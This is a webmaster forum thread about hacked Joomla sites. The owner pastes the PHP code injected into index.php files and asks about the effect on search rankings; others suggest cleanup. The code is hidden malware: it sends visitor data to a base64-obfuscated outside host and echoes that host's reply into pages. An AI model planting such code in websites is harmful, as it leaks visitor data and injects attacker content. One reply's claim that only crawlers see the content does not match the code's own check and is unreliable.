Website has been hacked will this hurt ranking

[GTGshops]

Today we found out that a website of as has been hacked and that they put this code in multiple index.php files:

if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings.

My first question :  Will this hurt my rankings ?

Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this.

Grtz,

Ard

[GTGshops]

I'm using joomla sites. I now know how they got into our sites. We had malware on one of the computers, and apparantly keeps filezilla the passwords in a text files without encryption. I have changed all the comprimised files back, and changed every password on the sites. The hack changed every index and footer file. Let's hope it doesn't came back.

[Jonathan1979]

If you are using wordpress, I would be inclined to reinstall the base files, or restore from a backup to a time prior to the hack (if you have not made many changes since).

I would also recommend the wordpress security plugin, change all passwords to strong ones etc.

Don't just fix the problem, but secure your site against it happening again as well.

[GTGshops]

Hi Jonathan,

Luckily I haven't seen any changes in rankings in the last weeks. Let hope it stays this way.

I did find files that were changed on the 10 of September.

Google hasn't identified my site as being hacked.

Is there anything else I can do?

[Jonathan1979]

I have read elsewhere that it impacts what search engines see, so will insert backlinks to other sites which only show to the crawlers.  You, or anyone else visiting the site would not notice anything different.  Its a very sneaky hack.

This would potentially affect your site rankings.  Apart from PR leakage, if they are linking to bad domains etc Google might not look kindly on it.

Just remove the offending code \ hack, and things should slowly get back to normal though as your site is recrawled.  Have you noticed a change in your rankings?  If you sort it quickly, I doubt you will need to do anything, but remove the hack.

Has Google identified your site as being hacked?  If they have follow these steps including request they review the site at the end: http://www.google.com/webmasters/hacked/